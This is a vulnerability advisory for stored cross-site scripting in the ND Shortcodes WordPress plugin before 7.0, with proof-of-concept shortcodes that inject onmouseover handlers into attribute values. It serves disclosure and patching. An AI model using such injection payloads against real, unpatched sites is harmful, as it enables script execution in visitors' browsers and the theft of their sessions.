WordPress Plugin Vulnerabilities

ND Shortcodes < 7.0 - Contributor+ Stored XSS via Shortcodes

Description

The plugin does not validate and escape numerous of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks

Proof of Concept

[nd_options_team nd_options_class='"onmouseover="alert(/XSS/)//']
[nd_options_team nd_options_color='"onmouseover="alert(/XSS/)//']

[nd_options_testimonial nd_options_class='" onmouseover="alert(/XSS/)" style="background:red;width:100px;height:100px;"']
[nd_options_testimonial nd_options_color='"onmouseover="alert(/XSS/)//']

PS:
- Numerous other shortcodes were affected
- The WPBakery Page Builder plugin is required to initialize the shortcodes.

Affects Plugins

Fixed in 7.0

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Lana Codes
Submitter
Lana Codes
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-06-12 (about 11 months ago)
Added
2023-06-12 (about 11 months ago)
Last Updated
2023-06-12 (about 11 months ago)

Other